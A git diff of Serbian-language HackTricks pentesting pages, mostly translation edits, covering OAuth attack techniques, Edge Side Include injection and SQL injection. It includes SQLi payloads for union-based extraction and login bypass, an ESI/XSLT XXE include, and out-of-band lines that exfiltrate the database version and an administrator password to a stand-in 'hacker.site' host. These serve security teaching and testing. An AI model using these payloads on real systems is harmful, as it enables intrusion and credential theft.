- **state**: Parametar za **održavanje podataka tokom korisnikovog preusmeravanja ka i sa autorizacionog servera**. Njegova jedinstvenost je ključna za služenje kao **mehanizam zaštite od CSRF**.
|
||||
- **grant_type**: Parametar koji označava **tip dodeljivanja i tip tokena koji treba da bude vraćen**.
|
||||
- **code**: Autorizacioni kod sa `autorizacionog servera`, koji klijentska aplikacija koristi zajedno sa `client_id` i `client_secret` da bi dobila `access_token`.
|
||||
- **access_token**: **token koji klijentska aplikacija koristi za API zahteve** u ime `vlasnika resursa`.
|
||||
- **refresh_token**: Omogućava aplikaciji da **dobije novi `access_token` bez ponovnog traženja od korisnika**.
|
||||
|
||||
@ -40,18 +39,18 @@ https://socialmedia.com/auth
|
||||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. Zatim se prikazuje stranica za pristanak.
|
||||
3. Zatim vam se prikazuje stranica za pristanak.
|
||||
4. Nakon vašeg odobrenja, Social Media šalje odgovor na `redirect_uri` sa `code` i `state` parametrima:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev sa servera kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali:
|
||||
5. https://example.com koristi ovaj `code`, zajedno sa svojim `client_id` i `client_secret`, da izvrši zahtev na serverskoj strani kako bi dobio `access_token` u vaše ime, omogućavajući pristup dozvolama na koje ste pristali:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv ka društvenim mrežama kako bi pristupio
|
||||
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv na društvenim mrežama da pristupi
|
||||
|
||||
## Ranljivosti <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
@ -73,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Nepravilno rukovanje parametrom stanja <a href="#bda5" id="bda5"></a>
|
||||
|
||||
U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost se javlja kada se `state` parametar **ne koristi, koristi kao statička vrednost ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu.
|
||||
U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost nastaje kada se `state` parametar ili **ne koristi, koristi kao statička vrednost, ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu.
|
||||
|
||||
Napadači mogu iskoristiti ovo presrećući proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
|
||||
Napadači mogu iskoristiti ovo presretnući proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
|
||||
|
||||
Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe** i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge.
|
||||
Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe**, i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge.
|
||||
|
||||
Pravilno rukovanje i validacija **`state` parametra** su ključni za zaštitu od CSRF i osiguranje OAuth toka.
|
||||
|
||||
@ -90,7 +89,7 @@ Pravilno rukovanje i validacija **`state` parametra** su ključni za zaštitu od
|
||||
|
||||
Identifikacija i zaštita tajnih OAuth parametara je ključna. Dok se **`client_id`** može bezbedno otkriti, otkrivanje **`client_secret`** nosi značajne rizike. Ako je `client_secret` kompromitovan, napadači mogu iskoristiti identitet i poverenje aplikacije da **ukradu korisničke `access_tokens`** i privatne informacije.
|
||||
|
||||
Uobičajena ranjivost se javlja kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega OAuth autorizaciji, dodatno iskorišćavajući poveren status aplikacije.
|
||||
Uobičajena ranjivost nastaje kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, kroz socijalno inženjerstvo, napadači bi mogli eskalirati privilegije dodavanjem dodatnih opsega u OAuth autorizaciju, dodatno iskorišćavajući poveren status aplikacije.
|
||||
|
||||
### Bruteforce klijent tajne
|
||||
|
||||
@ -146,18 +145,20 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
```
|
||||
Za detaljnije informacije o tome kako zloupotrebiti AWS cognito, proverite:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Zloupotreba tokena drugih aplikacija <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth tokovi koji očekuju da prime **token** (a ne kod) mogli bi biti ranjivi ako ne provere da li token pripada aplikaciji.
|
||||
Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth tokovi koji očekuju da prime **token** (a ne kod) mogu biti ranjivi ako ne provere da li token pripada aplikaciji.
|
||||
|
||||
To je zato što bi **napadač** mogao da kreira **aplikaciju koja podržava OAuth i prijavi se putem Facebook-a** (na primer) u svojoj aplikaciji. Zatim, kada žrtva prijavi putem Facebook-a u **napadačevoj aplikaciji**, napadač bi mogao da dobije **OAuth token korisnika dodeljen njegovoj aplikaciji i koristi ga za prijavu u žrtvinu OAuth aplikaciju koristeći žrtvin korisnički token**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Stoga, ako napadač uspe da dobije pristup korisniku svojoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom app ID-u.
|
||||
> Stoga, ako napadač uspe da dobije pristup korisnikovoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom ID-u aplikacije.
|
||||
|
||||
### Dva linka i kolačić <a href="#bda5" id="bda5"></a>
|
||||
### Dva linka & kolačić <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Prema [**ovom izveštaju**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bilo je moguće naterati žrtvu da otvori stranicu sa **returnUrl** koja pokazuje na napadačev host. Ove informacije bi bile **smeštene u kolačiću (RU)**, a u **kasnijem koraku** **prompt** će **pitati** **korisnika** da li želi da da pristup tom napadačevom hostu.
|
||||
|
||||
@ -169,38 +170,38 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=n9x7_
|
||||
|
||||
### response_mode
|
||||
|
||||
Kao što je [**objašnjeno u ovom videu**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), može biti moguće označiti parametar **`response_mode`** da se naznači gde želite da kod bude dostavljen u konačnom URL-u:
|
||||
Kao što je [**objašnjeno u ovom videu**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), može biti moguće označiti parametar **`response_mode`** da se naznači gde želite da kod bude dostavljen u finalnom URL-u:
|
||||
|
||||
- `response_mode=query` -> Kod se pruža unutar GET parametra: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Kod se pruža unutar fragmenta URL-a `#code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Kod se pruža unutar URL fragment parametra `#code=2397rf3gu93f`
|
||||
- `response_mode=form_post` -> Kod se pruža unutar POST forme sa inputom nazvanim `code` i vrednošću
|
||||
- `response_mode=web_message` -> Kod se šalje u post poruci: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
|
||||
### OAuth ROPC tok - zaobilaženje 2 FA <a href="#b440" id="b440"></a>
|
||||
|
||||
Prema [**ovom blog postu**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako se tokom ovog jednostavnog toka vrati **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token.
|
||||
Prema [**ovoj blog objavi**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), ovo je OAuth tok koji omogućava prijavu u OAuth putem **korisničkog imena** i **lozinke**. Ako tokom ovog jednostavnog toka bude vraćen **token** sa pristupom svim radnjama koje korisnik može da izvrši, tada je moguće zaobići 2FA koristeći taj token.
|
||||
|
||||
### ATO na veb stranici koja preusmerava na osnovu otvorenog preusmeravanja na referent <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Ovaj [**blog post**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio:
|
||||
Ova [**blog objava**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) komentariše kako je bilo moguće zloupotrebiti **otvoreno preusmeravanje** na vrednost iz **referenta** da bi se zloupotrebio OAuth za ATO. Napad je bio:
|
||||
|
||||
1. Žrtva pristupa napadačevoj veb stranici
|
||||
2. Žrtva otvara zlonamerni link i otvarač pokreće Google OAuth tok sa `response_type=id_token,code&prompt=none` kao dodatnim parametrima koristeći kao **referent napadačevu veb stranicu**.
|
||||
3. U otvaraču, nakon što provajder odobri žrtvu, vraća ih nazad na vrednost parametra `redirect_uri` (žrtvina veb) sa 30X kodom koji i dalje drži napadačevu veb stranicu u referentu.
|
||||
4. Žrtvina **veb stranica pokreće otvoreno preusmeravanje na osnovu referenta** preusmeravajući žrtvinog korisnika na napadačevu veb stranicu, pošto je **`respose_type`** bio **`id_token,code`**, kod će biti vraćen napadaču u **fragmentu** URL-a omogućavajući mu da preuzme račun korisnika putem Google-a na žrtvinom sajtu.
|
||||
|
||||
### SSRF parametri <a href="#bda5" id="bda5"></a>
|
||||
### SSRFs parametri <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Proverite ovo istraživanje**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Za dalja objašnjenja ove tehnike.**
|
||||
|
||||
Dinamička registracija klijenata u OAuth služi kao manje očigledan, ali kritičan vektor za sigurnosne ranjivosti, posebno za **Server-Side Request Forgery (SSRF)** napade. Ova tačka omogućava OAuth serverima da prime detalje o klijentskim aplikacijama, uključujući osetljive URL-ove koji bi mogli biti zloupotrebljeni.
|
||||
Dinamička registracija klijenata u OAuth služi kao manje očigledan, ali kritičan vektor za sigurnosne ranjivosti, posebno za **napade Server-Side Request Forgery (SSRF)**. Ova tačka omogućava OAuth serverima da prime detalje o klijentskim aplikacijama, uključujući osetljive URL-ove koji bi mogli biti zloupotrebljeni.
|
||||
|
||||
**Ključne tačke:**
|
||||
|
||||
- **Dinamička registracija klijenata** se često mapira na `/register` i prihvata detalje kao što su `client_name`, `client_secret`, `redirect_uris`, i URL-ove za logotipe ili JSON Web Key Sets (JWKs) putem POST zahteva.
|
||||
- Ova funkcija se pridržava specifikacija navedenih u **RFC7591** i **OpenID Connect Registration 1.0**, koje uključuju parametre koji su potencijalno ranjivi na SSRF.
|
||||
- Proces registracije može nenamerno izložiti servere SSRF na nekoliko načina:
|
||||
- **`logo_uri`**: URL za logotip klijentske aplikacije koji bi server mogao da preuzme, pokrećući SSRF ili dovodeći do XSS ako se URL nepravilno obradi.
|
||||
- **`logo_uri`**: URL za logo klijentske aplikacije koji bi server mogao da preuzme, pokrećući SSRF ili dovodeći do XSS ako se URL nepravilno obradi.
|
||||
- **`jwks_uri`**: URL do JWK dokumenta klijenta, koji, ako je zlonamerno kreiran, može uzrokovati da server izvrši izlazne zahteve ka serveru pod kontrolom napadača.
|
||||
- **`sector_identifier_uri`**: Upućuje na JSON niz `redirect_uris`, koji server može preuzeti, stvarajući priliku za SSRF.
|
||||
- **`request_uris`**: Navodi dozvoljene URI zahteva za klijenta, koji se mogu zloupotrebiti ako server preuzme ove URI na početku procesa autorizacije.
|
||||
@ -219,5 +220,4 @@ Ako je platforma koju testirate OAuth provajder [**pročitajte ovo da biste test
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -56,7 +56,7 @@ Tipična SSI ekspresija ima sledeći format:
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
Postoji problem **keširanja informacija ili dinamičkih aplikacija** jer deo sadržaja može biti **različit** prilikom sledećeg preuzimanja sadržaja. To je ono za šta se koristi **ESI**, da označi korišćenje ESI oznaka za **dinamički sadržaj koji treba da se generiše** pre slanja keširane verzije.\
|
||||
Postoji problem **keširanja informacija ili dinamičkih aplikacija** jer deo sadržaja može da **varira** za sledeći put kada se sadržaj preuzme. To je ono za šta se koristi **ESI**, da označi korišćenje ESI oznaka za **dinamički sadržaj koji treba da se generiše** pre slanja keširane verzije.\
|
||||
Ako **napadač** može da **ubaci ESI oznaku** unutar keširanog sadržaja, onda bi mogao da **ubaci proizvoljan sadržaj** u dokument pre nego što bude poslat korisnicima.
|
||||
|
||||
### ESI Detection
|
||||
@ -89,22 +89,22 @@ hell<!--esi-->o
|
||||
```
|
||||
### ESI eksploatacija
|
||||
|
||||
[GoSecure je kreirao](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) tabelu da razume moguće napade koje možemo pokušati protiv različitih ESI-capable softvera, u zavisnosti od podržane funkcionalnosti:
|
||||
[GoSecure je kreirao](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) tabelu kako bi razumeo moguće napade koje možemo pokušati protiv različitih ESI-capable softvera, u zavisnosti od podržane funkcionalnosti:
|
||||
|
||||
- **Includes**: Podržava `<esi:includes>` direktivu
|
||||
- **Vars**: Podržava `<esi:vars>` direktivu. Korisno za zaobilaženje XSS filtera
|
||||
- **Cookie**: Dokumentni kolačići su dostupni ESI engine-u
|
||||
- **Cookie**: Kolačići dokumenta su dostupni ESI engine-u
|
||||
- **Upstream Headers Required**: Surrogate aplikacije neće obraditi ESI izjave osim ako upstream aplikacija ne obezbedi zaglavlja
|
||||
- **Host Allowlist**: U ovom slučaju, ESI uključivanja su moguća samo sa dozvoljenih server hostova, što čini SSRF, na primer, mogućim samo protiv tih hostova
|
||||
|
||||
| **Softver** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| **Softver** | **Includes** | **Vars** | **Kolačići** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Da | Da | Da | Da | Ne |
|
||||
| Varnish Cache | Da | Ne | Ne | Da | Da |
|
||||
| Fastly | Da | Ne | Ne | Ne | Da |
|
||||
| Akamai ESI Test Server (ETS) | Da | Da | Da | Ne | Ne |
|
||||
| NodeJS esi | Da | Da | Da | Ne | Ne |
|
||||
| NodeJS nodesi | Da | Ne | Ne | Ne | Opcionalno |
|
||||
| Squid3 | Da | Da | Da | Da | Ne |
|
||||
| Varnish Cache | Da | Ne | Ne | Da | Da |
|
||||
| Fastly | Da | Ne | Ne | Ne | Da |
|
||||
| Akamai ESI Test Server (ETS) | Da | Da | Da | Ne | Ne |
|
||||
| NodeJS esi | Da | Da | Da | Ne | Ne |
|
||||
| NodeJS nodesi | Da | Ne | Ne | Ne | Opcionalno |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -183,7 +183,7 @@ Ovo će poslati informacije za debagovanje uključene u odgovor:
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
Moguće je koristiti **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksu u ESI jednostavno tako što ćete postaviti param **`dca`** vrednost na **`xslt`**. Što može omogućiti zloupotrebu **XSLT** za kreiranje i zloupotrebu ranjivosti XML Eksterne Entitete (XXE):
|
||||
Moguće je koristiti **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksu u ESI jednostavno tako što ćete postaviti param **`dca`** vrednost na **`xslt`**. Što može omogućiti zloupotrebu **XSLT** za kreiranje i zloupotrebu ranjivosti XML External Entity (XXE):
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Lista za Detekciju Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Šta je SQL injekcija?
|
||||
|
||||
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve akcije mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije ili čak kompromitovanjem servera ili uskraćivanjem usluge.
|
||||
**SQL injekcija** je sigurnosna greška koja omogućava napadačima da **ometaju upite baze podataka** aplikacije. Ova ranjivost može omogućiti napadačima da **vide**, **modifikuju** ili **obrišu** podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve radnje mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije, pa čak i kompromitovanjem servera ili uskraćivanjem usluge.
|
||||
|
||||
## Detekcija ulazne tačke
|
||||
## Otkrivanje ulazne tačke
|
||||
|
||||
Kada se čini da je sajt **ranjiv na SQL injekciju (SQLi)** zbog neobičnih odgovora servera na SQLi povezane ulaze, **prvi korak** je razumeti kako **ubaciti podatke u upit bez ometanja**. To zahteva identifikaciju metode za **efikasno izlazak iz trenutnog konteksta**. Ovo su neki korisni primeri:
|
||||
```
|
||||
@ -128,11 +128,13 @@ Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija raz
|
||||
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
|
||||
|
||||
> [!NOTE]
|
||||
> U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
|
||||
> U nastavku ćemo raspraviti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
|
||||
|
||||
### Identifikacija sa PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Iskorišćavanje zasnovano na Uniji
|
||||
|
||||
@ -144,7 +146,7 @@ Dve metode se obično koriste u tu svrhu:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se mogu koristiti identično za utvrđivanje broja kolona upita.
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti **GROUP BY** i **ORDER BY** unutar SQL-a, oboje se može koristiti identično za utvrđivanje broja kolona u upitu.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -183,11 +185,11 @@ U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi p
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Postoji različit način da se otkrije ovi podaci na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
|
||||
_Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
|
||||
|
||||
## Eksploatacija skrivenih unija
|
||||
|
||||
Kada je izlaz upita vidljiv, ali se čini da unija zasnovana na injekciji nije moguća, to označava prisustvo **skrivene unije zasnovane na injekciji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u uniju zasnovanu, potrebno je razjasniti izvršni upit na backendu.
|
||||
Kada je izlaz upita vidljiv, ali se čini da unija zasnovana na injekciji nije moguća, to označava prisustvo **skrivene unije zasnovane na injekciji**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u uniju zasnovanu, potrebno je razjasniti izvršni upit na backend-u.
|
||||
|
||||
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
|
||||
|
||||
@ -229,11 +231,11 @@ Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ako **nijedna** druga metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
Ako **nijedna** metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Izvanbandna eksfiltracija podataka putem XXE
|
||||
### Izvanbanda ekfiltracija podataka putem XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
@ -265,12 +267,12 @@ Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hash-iraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injection-u. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hash-uje, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Zaobilaženje autentifikacije pomoću injektovanog haša
|
||||
### Zaobilaženje autentifikacije putem injektovanog haša
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
@ -283,7 +285,7 @@ Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku
|
||||
|
||||
### GBK autentifikacija zaobilaženje
|
||||
|
||||
AKO je ' escapovan, možete koristiti %A8%27, a kada ' bude escapovan, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
AKO se ' escape-uje, možete koristiti %A8%27, a kada se ' escape-uje, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -306,17 +308,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Izmena lozinke postojećeg objekta/korisnika
|
||||
|
||||
Da biste to uradili, trebali biste pokušati da **napravite novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) menjajući nešto:
|
||||
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
|
||||
- Napravite korisnika nazvanog: **AdMIn** (velika i mala slova)
|
||||
- Napravite korisnika nazvanog: **admin=**
|
||||
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Napravite korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
- Kreirajte korisnika nazvanog: **AdMIn** (velika i mala slova)
|
||||
- Kreirajte korisnika nazvanog: **admin=**
|
||||
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Kreirajte korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izreže** će **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
|
||||
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -334,7 +336,7 @@ Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija k
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da ažurira lozinku:
|
||||
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -387,11 +389,11 @@ Example:
|
||||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
